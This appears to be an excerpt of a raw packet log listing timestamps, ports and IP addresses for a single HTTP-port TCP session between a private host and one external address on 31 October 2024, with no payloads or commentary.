Oct 31, 2024 07:14:31.589396954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589504957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589514017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.589551926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.589565039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.630873919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.630884886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.630904913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.630914927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.630927086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.630992889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.631055117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665045977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665061951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665075064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665159941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665174007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665184975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665189028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665198088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665205956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665211916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665230036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665256977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665256977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665271997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665302992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665314913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665327072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665337086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665340900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665352106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665355921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665369987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665370941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665396929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665421963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665421963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665577888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665590048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665601969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665608883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665636063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665636063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665658951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665728092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665740013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665755987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665769100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665780067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665786982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665801048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665811062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665815115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665827990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665838957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.665855885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.665884018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666017056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666038036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666049957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666057110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666074038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666094065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666126966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666140079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666152954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666166067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666167021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666182041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666197062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666385889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666399002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666410923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666425943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666452885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666512966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666526079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666547060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666549921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666560888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666574955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666574955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666588068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666590929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666603088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666604996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666615009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666625023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666650057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666846037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666858912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666870117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666898012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666914940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666925907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666929007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666946888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666956902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666960001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666973114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.666975021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.666997910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.667022943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.706790924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.706811905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.706821918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.706832886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.706866026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.707753897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.707765102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.707775116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.707798958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.707819939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.707822084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.707829952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.707838058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.707849026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.707865000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.747442961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.752321005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036319017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036335945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036346912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036356926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036366940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036375999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036382914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036387920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036398888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036410093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036418915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036427975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036441088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036458015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036461115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036469936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036480904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036484957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036487103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036499023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036508083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036513090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036520958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036540985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036547899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036570072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036570072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036581993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036593914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036595106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036607981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036614895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036628008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036633968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036638975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036649942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036658049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036662102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036686897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036710978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036881924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036897898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036909103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036919117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036920071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036932945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036936998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036945105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.036969900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.036989927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.037416935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.037460089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.037477016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.037487984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.037497997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.037513018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.037528992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.037545919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.037556887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.037566900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.037578106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.037580013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.037606955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.037633896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.155489922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155504942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155515909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155591965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.155740023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155750990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155761957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155780077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155791044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155795097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.155802965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155826092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.155848026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.155858040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155868053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155879021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155906916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.155910969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155924082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155930996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.155935049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.155978918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156014919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156025887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156038046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156049013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156063080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156084061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156095982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156112909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156127930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156136036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156147957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156177998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156338930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156349897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156361103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156393051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156394958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156408072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156424999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156461954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156510115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156521082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156532049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156554937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156577110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156599998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156610966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156620979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156646013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156681061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156805992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156816959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156827927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156837940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156853914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156889915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.156941891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156961918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156970978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.156985044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157022953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157064915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157074928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157084942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157094955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157110929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157134056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157140017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157150984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157161951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157171965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157180071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157185078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157217026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157253027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157525063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157536030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157546043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157579899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157587051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157598019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157608032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157608986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157619953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157646894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157677889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157684088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157689095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157700062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157711029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157720089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157722950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.157744884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.157778025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.158040047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.158086061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.158116102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.158126116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.158134937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.158145905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.158154964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.158162117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.158169031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.158201933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.158221006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.158242941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.158255100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.158267975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.158293962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.158327103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.198883057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.198895931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.198909044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.199069023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.274863005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.274925947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.274936914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.274947882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.274969101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.274990082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275001049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275008917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.275013924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275022984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275044918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275057077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275063992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.275068998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275079966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275093079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.275115013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275134087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.275139093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275151968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.275187016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.275212049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275253057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.275276899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275286913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275305986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275319099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.275320053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275332928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275338888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.275343895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275355101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275379896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.275401115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.275456905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275469065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275479078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275490046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.275499105 CET	80	49758	185.215.113.206	192.168.2.4
